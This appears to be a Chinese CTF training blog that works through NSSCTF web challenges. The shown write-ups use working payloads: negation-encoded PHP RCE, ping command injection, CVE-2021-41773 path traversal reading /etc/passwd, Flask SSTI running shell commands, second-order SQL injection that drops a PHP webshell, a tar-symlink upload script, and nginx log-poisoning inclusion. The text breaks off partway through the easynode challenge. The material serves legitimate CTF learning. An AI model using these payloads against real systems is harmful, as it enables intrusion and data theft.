Web专项训练(二)-- nssctf严选题
| 题目 | tag |
|---|---|
| [SWPUCTF 2021 新生赛]hardrce | rce,取反 |
| [HNCTF 2022 WEEK2]Canyource | 无回显rce |
| [LitCTF 2023]Ping | 命令执行,禁用javascript |
| [GFCTF 2021]Baby_Web | CVE-2021-41773 |
| [HZNUCTF 2023 preliminary]flask | ssti |
| [XDCTF 2015]filemanager | 二次注入,文件上传 |
| [NSSRound#6 Team]check(V1 &V2) | 软连接,flask |
| [NSSRound#6 Team]check(Revenge) | CVE-2007-4559 |
| [HNCTF 2022 WEEK2]easy_include |
nginx,UA注入 |
| [GKCTF 2020]ez三剑客-easynode | 沙箱逃逸,node.js |
| [NCTF 2018]全球最大交友网站 | .git泄露 |
| [SWPUCTF 2022 新生赛]Ez_upload | .htaccess,文件上传,MIME绕过 |
| [GHCTF 2025]UPUPUP | .htaccess,文件上传,文件头绕过 |
| [GKCTF 2021]easycms | 目录扫描,弱口令,文件下载 |
| [suctf 2019]checkin | .use.ini,文件上传,MIME绕过 |
| [NSSCTF 2nd]MyBox | ssrf,目录穿越 ,PHP伪协议,Apache |
| [SWPUCTF 2021 新生赛]sql |
sql注入,空格绕过,关键字绕过 |
| [FSCTF 2023]Hello,you | C&C,关键词绕过 |
| [HZNUCTF 2023 final]ezgo | suid提权,权限提升 |
| [AFCTF 2021]BABY_CSP |
反射型xss,csp |
| [CISCN 2019华东南]Web11 |
SSTI,Smarty,RCE |
| [suctf 2019]EasySQL | 堆叠注入,SQL注入,关键字绕过 |
| [NISACTF 2022]easyssrf | PHP伪协议,SSRF |
| [CISCN 2023 西南]seaclouds | Java反序列化 |
| [鹏城杯 2022]简单包含 | PHP伪协议,文件包含 |
| [极客大挑战 2020]rceme | rce,PIN码,vim泄露 |
| [HNCTF 2022 WEEK2]ez_ssrf | ssrf,中间件 |
| [NCTF 2018]小绿草之最强大脑 | 整数溢出,延时函数 |
[SWPUCTF 2021 新生赛]hardrce
源码过滤了$blacklist中的所有符号和字母大小写([a-zA-Z]),但没有过滤(,|,~等符号。
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?>
因而,我们可以利用两次取反(~)后依然是自己本身的特点进行解答。
但是字符串一次取反后得到是乱码,所以需要再利用一次url编码。
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
//echo “\n";
//echo urlencode(~'cat /flllllaaaaaaggggggg');
/*
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
*/
?>
然后,再取反一次。

接着,对cat /flllllaaaaaaggggggg(或者cat /fl*)进行同样的操作,传入对应的url(因为代理问题中途断线了一次,因而url有所不同),得到了flag。

[HNCTF 2022 WEEK2]Canyource
之前写过这种题目,所以不详细叙述,只写关键点。
- php中get_defined_vars() 函数能够返回由所有已定义变量所组成的数组。 比如 /?code=1&byc=2 , get_defined_vars()返回的数组是 [1, 2] 。
- php中current() 函数返回数组中的当前元素的值。
- end()函数将内部指针指向数组中的最后一个元素。
- eval,print_r,var_dump将其打印出来。这里用的是eval。
对于[^\W]+\((?R)?\)这个正则表达式的意思是只允许函数而不允许函数中的参数。比如a()和a(b(c()))是支持的,而a('111')是不支持的。也就是说这是无回显的rce。
如此一来,对于end(current(get_defined_vars()));&byc=xxx,就能够执行&byc=xxx拼接的命令。而只需添加eval打印在页面,就堪称完美了。
构造payloadhttp://node5.anna.nssctf.cn:26109/?code=eval(end(current(get_defined_vars())));&byc=system('ls');后返回,
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?> flag.php index.php
继续构造payloadhttp://node5.anna.nssctf.cn:26109/?code=eval(end(current(get_defined_vars())));&byc=system('cat flag.php');,虽然页面只能够看到Are you kinding me?但是检查F12查看器,却能够看到flag。

接着对关键代码'/[^\W]+((?R)?)/'和
'/url|show|high|na|info|dec|oct|pi|log|data://|filter://|php://|phar:///i'
分析。
- 过滤了一些敏感信息和php相关协议,如filter、phar。i: 这是正则表达式的标志,表示匹配时不区分大小写。
- [^\W]+: 匹配任何单词字符(包括字母、数字和下划线)。+ 表示至少匹配一个或多个这样的字符。
- ( 和 ):这两个部分分别匹配字符 ( 和 ),即函数调用使用的括号。
- (?R)?:
- (?R) 是递归匹配。它意味着当正则表达式遇到括号时,会尝试再次匹配括号内的内容。因此,这个部分能够匹配嵌套的函数调用。
- ? 使得这个递归部分变为可选的,这样既可以匹配没有嵌套的函数调用,也能匹配有嵌套函数调用的情况。
第二种解法以及常见无回显rce的函数总结,参考 canyource
[LitCTF 2023]Ping
ping自己的ip地址成功(输入框只填127.0.0.1),但想要拼接其他命令失败。

禁掉javascript后(见下图),用命令127.0.0.1|ls查看到index.php和upload。
其中,index.php的内容。
//index.php
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
if(!isset($_POST['command'])) {
die();
}
$command = $_POST['command'];
$command = 'ping -c 6 ' . $command; // 拼接系统命令
echo '<pre>' . str_replace("\n", "<br />\n", shell_exec($command)) . '</pre>'; // 执行并输出结果
?>
实际上index.php和upload这两个文件/目录都无法访问出有用信息。
因而,考虑利用正则匹配。
输入框输入command=127.0.0.1;cat /* 或127.0.0.1;cat /* 得到敏感信息。

[GFCTF 2021]Baby_Web(CVE-2021-41773)
提示只有F12里的“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”
源码泄露无果,于是启动dirsearch。输入
sudo dirsearch -u http://node4.anna.nssctf.cn:28099

curl工具怎么也访问不了/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd。可能是url里面会自动将url编码%2e解析为( . ),从而访问/cgi-bin/../../../../etc/passwd。而curl无法解析,导致运行出错。
于是用burpsuite抓包。
访问扫到的敏感信息。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

猜测xxx可能为index。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
实际上一步的include"Class.php"也是一个突破点。因为xxx可能被替换成任意的字符。这里只显示了两种。
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

源码:
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
根据关键词str_replace、extract、include、explode、 substr、$system、call_user_func_array等函数或变量,判断相关语句有注入点。
分析图:
意思是display的getTempName必须返回有效路径,而listdata的action有执行函数和返回null两种选择。
根据Temp类的__construct函数,输入http://node4.anna.nssctf.cn:28099/template/admin/ 后,页面和后台返回

个人感觉这里的后台代码是有提示性作用的。
这里的代码审计部分,这篇文章的师傅已经写得很成熟了。因为payload的构造也相对复杂,建议移步该文章进行研究。Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)_cve-2021-41773 ctf-CSDN博客
实际上,space=admin(display和getTempName共同作用)和action=function(lisdata的switch 语句)以及name = system(call_user_func_array)(或者其他适用于rce的php系统函数,如exec、passthru、phpinfo)很容易分析出来。
对于其他的参数,参考代码
if ($p) {
//call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
$rt = call_user_func_array($param['name'], $p);
} else {
//call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
$rt = call_user_func($param['name']);
}
和
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
然后结合include "Class.php";与$temp->display($_GET['filename']),以及include($this->template)和 $this->template = './template/index.html',推测template被filename取代。
方法1
哈哈哈,第一次写题目靶场时间超时了。/(ㄒoㄒ)/~~ 菜就多练
?filename=index.html //GET
space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt
注意哪些是GET请求,哪些是POST请求,以及记得添加头部(Add Header)。

接着访问http://node4.anna.nssctf.cn:28183/1.txt ,得到NSSCTF{e0e7cfee-a4b7-44d6-84e2-3b1eaf010d01}
方法2
?filename=index.html //GET
space=admin&mod=xxx action=function name=phpinfo

总结:第一次复现CVE,这个漏洞的代码审计部分有一些细节处理不是很到位,建议补齐相关知识后重刷。实际上,call_user_func_array这个函数的第一个参数传递系统函数,如phpinfo()。第二个参数传递系统函数需要的参数,如system('whoami')中的whoami。
[HZNUCTF 2023 preliminary]flask
ssti模板注入?建议移步SSTI 注入 - Hello CTF补充基础知识。
输入http://node7.anna.nssctf.cn:27594/?name=542 ,返回hello! 245。
输入http://node7.anna.nssctf.cn:27594/?name=}}%276%27*6{{ ,返回hello! 666666
a.__init__.__globals__:__globals__属性指向当前函数或方法的全局命名空间。通过它,你可以访问整个模块或函数的上下文,包括内置模块和方法。['__builtins__']:通过这个字典,可以动态访问 Python 内置的功能和模块。.eval():这里,eval 被用来执行传入的字符串代码,即对 os.popen("ls").read() 进行求值。__import__("os").popen("ls").read():动态导入os模块并执行系统命令
等同于执行
import os
os.popen("ls").read() # 执行系统命令并读取结果
因为需要字符串反转reverse,所以写脚本(手搓很麻烦的好不好),
strA = input()
strB = ''.join(reversed(strA))
print(strB)
ls查看,没有有效信息。
# {{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}}
#}})')(daer.)"sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! app.py require.txt
ls /查看,发现flag.sh。
#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
#}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! app bin boot dev etc flag.sh home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
cat /flag.sh,不幸的是返回flag_not_here
#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag.sh").read()')}}
#}})')(daer.)"hs.galf/ tac"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! #!/bin/bash echo $DASFLAG > /flag export DASFLAG=flag_not_here DASFLAG=flag_not_here rm -f /flag.sh
最后转换思路,查看env环境变量。
#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read()')}}
#}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

总结:思路要开阔,勇于尝试的同时保持多一些思考。
[XDCTF 2015]filemanager
页面信息能够获取到的很少,因而dirsearch发力。

得到/www/tar.gz后,访问http://node4.anna.nssctf.cn:28919/www.tar.gz,自动下载。

xdctf.sql

commom.inc.php
- 对传入的参数
$value进行了addslashes()转义,放到了$req = array()数组里面。这个数组里可以执行多种请求$_GET, $_POST, $_COOKIE。
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:58
*/
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "ayshbdfuybwayfgby",
"dbname" => "xdctf",
);
$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();
foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
foreach ($global_var as $key => $value) {
is_string($value) && $req[$key] = addslashes($value);
}
}
define("UPLOAD_DIR", "upload/");
function redirect($location) {
header("Location: {$location}");
exit;
}
delete.php
- 与commom.inc.php有关,依据
$req = array()和file_exists来对一个文件被多次上传的回显做处理。

index.php
- 页面的前端代码。
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午7:46
*/
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="./">
<meta charset="utf-8" />
</head>
<body>
<h3>Control</h3>
<ul style="list-style: none;">
<li><a href="./delete.php">Delete file</a></li>
<li><a href="./rename.php">Rename file</a></li>
</ul>
<h3>Content</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="upfile">
<input type="submit" value="upload file">
</form>
</body>
</html>
rename.php
- 执行数据库查询
$db->query("select * from `file` where `filename`='{$req['oldname']}'")
,查找文件名为 'oldname' 的文件。
2. 执行成功后,继续执行
$db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}")
如果$oldname 上传成功 , 则 $oldname被rename为 $newname。
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午9:39
*/
require_once "common.inc.php";
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
} else {
exit("old file doesn't exists!");
}
if ($result) {
$req['newname'] = basename($req['newname']);
$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
if (!$re) {
print_r($db->error);
exit;
}
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
$url = "/" . $newname;
echo "Your file is rename, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>file manage</title>
<base href="/">
<meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
<p>
<span>old filename(exclude extension):</span>
<input type="text" name="oldname">
</p>
<p>
<span>new filename(exclude extension):</span>
<input type="text" name="newname">
</p>
<p>
<input type="submit" value="rename">
</p>
</form>
</body>
</html>
upload.php
- 白名单限制了后缀名”gif", "jpg", "png", "zip", "txt"。
- 俩个query, db->query
$sql = "select * from file where filename='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
执行成功后,返回"file is exists"
- db- > query
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
上传成功返回$url = "/" . UPLOAD_DIR . $name;
<?php
/**
* Created by PhpStorm.
* User: phithon
* Date: 15/10/14
* Time: 下午8:45
*/
require_once "common.inc.php";
if ($_FILES) {
$file = $_FILES["upfile"];
if ($file["error"] == UPLOAD_ERR_OK) {
$name = basename($file["name"]);
$path_parts = pathinfo($name);
if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
exit("error extension");
}
$path_parts["extension"] = "." . $path_parts["extension"];
$name = $path_parts["filename"] . $path_parts["extension"];
// $path_parts["filename"] = $db->quote($path_parts["filename"]);
// Fix
$path_parts['filename'] = addslashes($path_parts['filename']);
$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
$fetch = $db->query($sql);
if ($fetch->num_rows > 0) {
exit("file is exists");
}
if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
$re = $db->query($sql);
if (!$re) {
print_r($db->error);
exit;
}
$url = "/" . UPLOAD_DIR . $name;
echo "Your file is upload, url:
<a href=\"{$url}\" target='_blank'>{$url}</a><br/>
<a href=\"/\">go back</a>";
} else {
exit("upload error");
}
} else {
print_r(error_get_last());
exit;
}
}
观察页面结果分析,最主要看的是rename.php和upload.php。大胆尝试构造SQL注入语句,结合两个文件中的查询语句分析执行效果。由此看来,这已经是国内一道相当不错的题目了。
上传一个空文件,文件名为 ',extension='.txt

重命名一下,这里1.txt不一定要是txt文件,是”gif", "jpg", "png", "zip", "txt"中的一种即可。

分析下这个rename过程:此时rename.php经过第一个sql查询后,$result['filename']=',extension='
此时,rename的查询语句相当于
"update file set filename='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}"
这个时候相当于filename=1.txt 的在数据库中的extension是空的。
点击rename按钮后,页面返回的url与rename.php里的$url = "/" . $newname;对应。说明命名1.txt的txt文件已经上传成功。

然后,写入txt后缀的一句话木马,
<?php
system($_GET['cmd']);
=?>

接着再重命名一次。

此时经过rename.php的第一个sql查询后,$result['filename']=1.txt 它的extension刚好为空 经过以下语句修改:
$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}
相当于upload/1.txt.空 改成了 upload/1.php.空 (实际上就是upload/1.php)
我们制作的php木马上传成功。

然后,打开hackbar。
传入http://node4.anna.nssctf.cn:28919/upload/1.php?cmd=ls /后,页面返回
bin dev etc flag_emmmmmmmmm home lib media mnt proc root run sbin srv sys tmp usr var。
传入http://node4.anna.nssctf.cn:28919/upload/1.php?cmd=cat /fl*后,得到flag
NSSCTF{7a4a89bb-636e-43c7-99fe-9f694aaa3e03}。
这道题审计代码多花点时间是没问题的,建议参考攻防世界-web-filemanager(源码泄漏、二次注入) - zhengna - 博客园
以及2015 filemanager XDCTF - 知乎
总结:看似是文件上传,其实是二次注入,xctf评分7分。因而,他的难度对新手来说是相当大的。从隐藏的多个文件,以及改动的多个rename和多次上传的构造可以体会出来。不过,只要基础扎实,理清sql二次注入的逻辑后并非遥不可及的地步。ps:注意多理解与报错注入、盲注、二次注入相关的题目。
[NSSRound 6 Team]check(V1 &V2)
访问后得到的源码是乱码的,可以利用F12里面的查看器调整。
# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
print(file.filename)
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if (os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('/tmp/clean.sh')
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
大致的逻辑如下。
- 对文件进行了过滤allowed_file。上传成功upload_file后,保存路径为file_save_path。然后软连接、tar 、remove,返回success。
- 接着download_file,打开的路径和参数为
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)。 - 然后调用系统命令system删除clean_file,返回success。
- 主函数内调用以上3步的函数。
因而,软链接的tar文件建立后(kali),上传文件和下载文件是必不可少的。
# 创建软链接指向flag文件
ln -s /flag flag
echo -e "\n软链接已创建。"
# 创建包含软链接的tar文件
tar -cvf flag.tar flag
echo -e "\ntar文件已创建:flag.tar"
# 上传tar文件
curl -X POST -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已上传。"
# 保持会话状态并下载文件
COOKIE_JAR=$(mktemp)
echo -e "\n临时cookie文件已创建:$COOKIE_JAR"
curl -X POST -c "$COOKIE_JAR" -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已重新上传并保存cookie。"
curl -X POST -b "$COOKIE_JAR" -d "filename=flag" http://node5.anna.nssctf.cn:28432/download
echo -e "\n文件已下载:flag"
rm "$COOKIE_JAR"
echo -e "\ncookie文件已删除。"
运行结果:
>vim v1.sh
>cat v1.sh(见上面的代码)
>bash v1.sh
ln: 无法创建符号链接 'flag': 文件已存在
软链接已创建。
flag
tar文件已创建:flag.tar
success
tar文件已上传。
临时cookie文件已创建:/tmp/tmp.ilavuQxXsJ
success
tar文件已重新上传并保存cookie。
NSSCTF{f819d927-4838-4119-9f43-4b7851cfeeae}
文件已下载:flag
cookie文件已删除。
Python可以参考nssround#6 team check(revenge)-CSDN博客。
总结:本题难度不难,学会写上传文件和下载文件的代码部分,大可迎刃而解。
[NSSRound 6 Team]check(Revenge)
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
好像是download_file()函数内增加了俩个判断。
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
以及clean_flie()函数的系统命令改成了
os.system('su ctf -c /tmp/clean.sh')
软链接被禁用,联想到CVE-2007-4559的extractall函数有文件覆盖的漏洞。用dirsearch扫描到存在console目录,这是一个可以实现debug的目录。拼接在原始url后,的确发现需要输入正确的PIN码。

所以关键就是要计算正确的PIN码,而这方面需要收集很多信息。
最主要的machine-id包括两种采集方式,
- 有
/etc/machine-id就找/proc/self/cgroup进行拼接。 - 没有
/etc/machine-id,就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup进行拼接。
然后用cat /sys/class/net/eth0/address获取到mac地址的十进制。计算root的PIN值采用cat /etc/passwd这种方式。参考flask计算PIN码 - ddd\flag - 博客园
虽然思路比较清晰,但是我的/proc/self/cgroup这个信息怎么也采集不对,所以pin码脚本采集的PIN码出现错误,从而导致无法进入console,后续的关键步骤因此也难以完成。个人猜测,可能跟 os.system('su ctf -c /tmp/clean.sh')中的ctf用户有关吧。
PIN的脚本参考:
总结:PIN码这个考点确实没遇到过,本来以为nssround的题目会简单点。但据夸克以及deepseek坦白,实际它的Web题目Revenge部分基本接近强网杯、网鼎杯、虎符杯的中等偏上甚至是难题的Web题。而且解题链条通常比这些大赛会更长。因而,这些题目基本也是中高端进阶的Web选手才有机率完成。所以,期待二刷或者有大佬指点!
[HNCTF 2022 WEEK2]easy_include
<?php
//WEB手要懂得搜索
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
过滤了data协议、php、flag、~、!等符号。
F12查看响应头,得出是nginx服务器。

]
于是,查看日志文件。构造payload: http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log根据返回的浏览器等信息,判断是UA(User-Agent)注入。
勾选UA注入后,构造payload:http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=ls /

返回结果的最后一部分看到:
bin dev etc ffflllaaaggg home lib media mnt opt proc root run sbin srv sys tmp usr var " 113.223.41.102 - - [30/Jul/2025:01:52:33 +0000] "GET /favicon.ico HTTP/1.1" 200 1534 "http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log;cmd=ls%20/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"
同样,勾选UA注入后,构造payload:http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=cat /f*最后一行会返回结果:
flag=NSSCTF{d0b619ee-34d8-4742-8d27-d08785aba103} " 113.223.41.102 - - [30/Jul/2025:02:01:41 +0000] "GET /favicon.ico HTTP/1.1" 200 1534 "http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=cat%20/f*" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"
总结:平时多注意积累细节,比如ua的内容格式。
[GKCTF 2020]ez三剑客-easynode
打开页面是一个计算器界面。
输入1+1 ,2*4后,都会返回60000=Timeout!

返回的结果可能是由app.post中的res.send(String(response))和app.use中的res.send('Timeout!');组成的。
一个跟saferEval = require('safer-eval');有关,一个跟t --> setTimeout(() => next(), delay)-->delay有关。(在/eval路由下)
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
} //输入10000*10应该返回不同的结果,这里我不太明白。
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
